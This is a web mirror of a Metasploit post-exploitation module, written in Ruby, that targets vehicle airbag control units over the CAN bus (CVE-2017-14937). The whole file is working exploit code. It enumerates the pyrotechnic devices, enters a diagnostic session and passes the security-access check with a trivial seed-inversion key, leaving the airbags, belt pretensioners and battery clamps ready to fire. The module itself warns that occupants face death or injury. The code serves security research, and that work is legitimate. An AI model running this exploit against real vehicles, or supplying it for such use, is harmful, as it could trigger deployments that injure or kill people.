CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/automotive/pdt.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex'
7
8
class MetasploitModule < Msf::Post
9
10
include Msf::Post::Hardware::Automotive::UDS
11
include Msf::Post::Hardware::Automotive::DTC
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)',
18
'Description' => %q{
19
Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module
20
will first query all Pyrotechnic Control Units (PCUs) in the target vehicle
21
to discover how many pyrotechnic devices are present, then attempt to validate
22
the security access token using the default simplified algorithm. On success,
23
the vehicle will be in a state that is prepped to deploy its pyrotechnic devices
24
(e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021)
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Johannes Braun', # original research
29
'Juergen Duerrwang', # original research
30
'Craig Smith' # research and module author
31
],
32
'References' => [
33
[ 'CVE', '2017-14937' ],
34
[ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ]
35
],
36
'Platform' => ['hardware'],
37
'SessionTypes' => ['hwbridge']
38
)
39
)
40
register_options([
41
OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]),
42
OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]),
43
OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]),
44
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
45
])
46
end
47
48
LOOP_TABLE = {
49
0x00 => 'ISOSAEReserved',
50
0x01 => 'airbag driver side frontal 1st stage',
51
0x02 => 'airbag left side frontal 1st stage',
52
0x03 => 'airbag right side frontal 1st stage',
53
0x04 => 'airbag driver side frontal 2nd stage',
54
0x05 => 'airbag left side frontal 2nd stage',
55
0x06 => 'airbag right side frontal 2nd stage',
56
0x07 => 'airbag driver side frontal 3rd stage',
57
0x08 => 'airbag left side frontal 3rd stage',
58
0x09 => 'airbag right side frontal 3rd stage',
59
0x0A => 'airbag passenger side frontal 1st stage',
60
0x0B => 'airbag passenger side frontal 2nd stage',
61
0x0C => 'airbag passenger side frontal 3rd stage',
62
0x0D => 'airbag left side frontal 3rd stage',
63
0x0E => 'airbag right side frontal 3rd stage',
64
0x0F => 'airbag passenger frontal 1st stage - center',
65
0x10 => 'airbag passenger frontal 2nd stage - center',
66
0x11 => 'airbag passenger frontal 3rd stage - center',
67
0x12 => '1st pretensioner driver side',
68
0x13 => '1st pretensioner left side',
69
0x14 => '1st pretensioner right side',
70
0x15 => '2nd pretensioner driver side',
71
0x16 => '2nd pretensioner left side',
72
0x17 => '2nd pretensioner right side',
73
0x18 => '1st pretensioner passenger side',
74
0x19 => '2nd pretensioner passenger side',
75
0x1A => '1st pretensioner passenger - center',
76
0x1B => '2nd pretensioner passenger - center',
77
0x1C => '1st pretensioner (2nd row) left',
78
0x1D => '2nd pretensioner (2nd row) left',
79
0x1E => '1st pretensioner (2nd row) right',
80
0x1F => '2nd pretensioner (2nd row) right',
81
0x20 => '1st pretensioner (2nd row) center',
82
0x21 => '2nd pretensioner (2nd row) center',
83
0x22 => '1st pretensioner (3rd row) left',
84
0x23 => '2nd pretensioner (3rd row) left',
85
0x24 => '1st pretensioner (3rd row) right',
86
0x25 => '2nd pretensioner (3rd row) right',
87
0x26 => '1st pretensioner (3rd row) center',
88
0x27 => '2nd pretensioner (3rd row) center',
89
0x28 => 'belt force limiter driver side',
90
0x29 => 'belt force limiter left side',
91
0x2A => 'belt force limiter right side',
92
0x2B => 'belt force limiter passenger side',
93
0x2C => 'belt force limiter passenger side - center',
94
0x2D => 'belt force limiter 2nd row - left',
95
0x2E => 'belt force limiter 2nd row - right',
96
0x2F => 'belt force limiter 2nd row - center',
97
0x30 => 'belt force limiter 3rd row - left',
98
0x31 => 'belt force limiter 3rd row - right',
99
0x32 => 'belt force limiter 3rd row - center',
100
0x33 => 'headbag - driver side (roof mounted)',
101
0x34 => 'headbag - passenger side (roof mounted)',
102
0x35 => 'headbag - right side (roof mounted)',
103
0x36 => 'headbag - left side (roof mounted)',
104
0x37 => 'headbag - 2nd row - left (roof mounted)',
105
0x38 => 'headbag - 2nd row - right (roof mounted)',
106
0x39 => 'headbag - 3rd row - left (roof mounted)',
107
0x3A => 'headbag - 3rd row - right (roof mounted)',
108
0x3B => 'sidebag (curtain) - driver side',
109
0x3C => 'sidebag (curtain) - passenger side',
110
0x3D => 'sidebag (curtain) - left side',
111
0x3E => 'sidebag (curtain) - right side',
112
0x3F => 'sidebag (curtain) - 2nd row - left',
113
0x40 => 'sidebag (curtain) - 2nd row - right',
114
0x41 => 'sidebag (curtain) - 3rd row - left',
115
0x42 => 'sidebag (curtain) - 3rd row - right',
116
0x43 => 'sidebag - driver side (door mounted)',
117
0x44 => 'sidebag - passenger side (door mounted)',
118
0x45 => 'sidebag - left side (door mounted)',
119
0x46 => 'sidebag - right side (door mounted)',
120
0x47 => 'sidebag - 2nd row - left (door mounted)',
121
0x48 => 'sidebag - 2nd row - right (door mounted)',
122
0x49 => 'sidebag - 3rd row - left (door mounted)',
123
0x4A => 'sidebag - 3rd row - right (door mounted)',
124
0x4B => 'seatbag (cushion) - driver side (seat mounted)',
125
0x4C => 'seatbag (cushion) - passenger side (seat mounted)',
126
0x4D => 'seatbag (cushion) - left side (seat mounted)',
127
0x4E => 'seatbag (cushion) - right side (seat mounted)',
128
0x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)',
129
0x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)',
130
0x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)',
131
0x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)',
132
0x53 => 'kneebag - driver side',
133
0x54 => 'kneebag - passenger side',
134
0x55 => 'kneebag - left side',
135
0x56 => 'kneebag - right side',
136
0x57 => 'kneebag - passenger side - center',
137
0x58 => 'footbag - driver side',
138
0x59 => 'footbag - passenger side',
139
0x5A => 'footbag - left side',
140
0x5B => 'footbag - right side',
141
0x5C => 'footbag - passenger side - center',
142
0x5E => 'active headrest - driver side',
143
0x5F => 'active headrest - passenger side',
144
0x60 => 'active headrest - left side',
145
0x61 => 'active headrest - right side',
146
0x62 => 'active headrest - passenger side - center',
147
0x63 => 'active headrest - 2nd row - left',
148
0x64 => 'active headrest - 2nd row - right',
149
0x65 => 'active headrest - 2nd row - center',
150
0x66 => 'active headrest - 3rd row - left',
151
0x67 => 'active headrest - 3rd row - right',
152
0x68 => 'active headrest - 3rd row - center',
153
0x69 => 'battery clamp main battery',
154
0x6A => 'battery clamp 2nd battery',
155
0x6B => 'battery clamp 3rd battery',
156
0x6C => 'battery clamp 4th battery',
157
0x6D => 'roof-airbag front',
158
0x6E => 'roof-airbag front',
159
0x6F => 'bag in belt driver side',
160
0x70 => 'bag in belt passenger side',
161
0x71 => 'bag in belt left side',
162
0x72 => 'bag in belt right side',
163
0x73 => 'bag in belt passenger side - center',
164
0x74 => 'bag in belt 2nd row - left',
165
0x75 => 'bag in belt 2nd row - right',
166
0x76 => 'bag in belt 2nd row - center',
167
0x77 => 'bag in belt 3rd row - left',
168
0x78 => 'bag in belt 3rd row - right',
169
0x79 => 'bag in belt 3rd row - center',
170
0x7A => 'rollover bar #1',
171
0x7B => 'rollover bar #2',
172
0x7C => 'rollover bar #3',
173
0x7D => 'rollover bar #4',
174
0x7E => 'active anti-submarining driver seat',
175
0x7F => 'active anti-submarining passenger seat',
176
0x80 => 'active anti-submarining left seat',
177
0x81 => 'active anti-submarining right seat',
178
0x82 => 'active anti-submarining passenger seat - center',
179
0x83 => 'active anti-submarining seat 2nd row - left',
180
0x84 => 'active anti-submarining seat 2nd row - right',
181
0x85 => 'active anti-submarining seat 2nd row - center',
182
0x86 => 'active anti-submarining seat 3rd row - left',
183
0x87 => 'active anti-submarining seat 3rd row - right',
184
0x88 => 'active anti-submarining seat 3rd row - center',
185
0x89 => 'pedestrian protection front left hood lifter',
186
0x8A => 'pedestrian protection front right hood lifter',
187
0x8B => 'pedestrian protection rear left hood lifter',
188
0x8C => 'pedestrian protection rear right hood lifter',
189
0x8D => 'pedestrian protection a-pillar left',
190
0x8E => 'pedestrian protection a-pillar right',
191
0x8F => 'pedestrian protection wind screen',
192
0x90 => 'pedestrian protection bumper left',
193
0x91 => 'pedestrian protection bumper center',
194
0x92 => 'pedestrian protection bumper right',
195
0x93 => 'active steering column',
196
0x94 => 'front screen - emergency release',
197
0x95 => 'read window - emergency release'
198
}
199
200
ACL_TYPES = {
201
0x01 => 'CAN only',
202
0x02 => 'ACL Comm Mode 12V',
203
0x03 => 'ACL PWM FixedLevel 8V',
204
0x04 => 'ACL Comm Mode 24V',
205
0x05 => 'ACL PWM UbattLevel 12V',
206
0x06 => 'ACL PWM UbattLevel 24V'
207
}
208
209
PCU_ADDRESS_FORMAT = {
210
0x01 => '11 bit normal addressing',
211
0x02 => '11 bit extended addressing',
212
0x03 => '11 bit mixed addressing',
213
0x04 => '29 bit normal fixed addressing',
214
0x05 => '29 bit mixed addressing',
215
0x06 => '29 bit unique addressing'
216
}
217
218
def print_vin(vin)
219
return '' if vin.nil?
220
221
vin.map! { |d| d.hex.chr }
222
print_status(" VIN: #{vin.join}")
223
end
224
225
def print_loop_table(loopid)
226
print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):")
227
(3..loopid.size).each do |i|
228
if i % 2 == 1
229
if loopid[i] && (LOOP_TABLE.key? loopid[i].hex)
230
print_status(" #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}")
231
else
232
print_status(" #{loopid[i]} | <<UNKNOWN>>")
233
end
234
elsif loopid[i] && loopid[i].hex == 0
235
print_status(' | Deployment Status: Good')
236
else
237
print_status(" | Deployment Status: Fail (#{loopid[i]})")
238
end
239
end
240
end
241
242
def run
243
opt = {}
244
opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?
245
print_status('Gathering Data...')
246
vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)
247
no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)
248
no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)
249
address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt)
250
loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt)
251
acl_type_definition = loopid[0]
252
acl_type_version = loopid[1]
253
no_of_charges = loopid[2]
254
255
print_vin(vin)
256
print_loop_table(loopid)
257
print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}")
258
print_status(' Info About First PCU')
259
print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")
260
print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")
261
print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}")
262
print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}")
263
print_status(" ACL Type version | #{acl_type_version.hex}")
264
print_status
265
print_status('Switching to Diagnostic Session 0x04...')
266
resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)
267
if resp.key? 'error'
268
print_error("Could not switch to DSC 0x04: #{resp['error']}")
269
return
270
end
271
# We may not need tester present at all because we will perform the action quickly
272
send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
273
print_status('Getting Security Access Seed...')
274
seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)
275
if seed.key? 'error'
276
print_error("Couldn't get seed: #{seed['error']}")
277
return
278
end
279
print_status("Success. Seed: #{seed['SEED']}")
280
print_status('Attempting to unlock device...')
281
display_warning = false
282
if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0
283
print_status('Security Access Already Unlocked!!')
284
display_warning = true
285
else
286
key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]
287
resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
288
if (resp.key? 'error') && !(resp['error'].key? 'RCRRP')
289
print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}")
290
return
291
end
292
found_valid = false
293
if (resp.key? 'Packets') && !resp['Packets'].empty?
294
resp['Packets'].each do |i|
295
found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67'
296
end
297
end
298
if found_valid
299
print_status('Success!')
300
display_warning = true
301
else
302
print_error("Unknown response: #{resp.inspect}")
303
end
304
end
305
if display_warning
306
print_warning('Warning! You are now able to start the deployment of airbags in this vehicle')
307
print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***')
308
end
309
end
310
311
end
312
313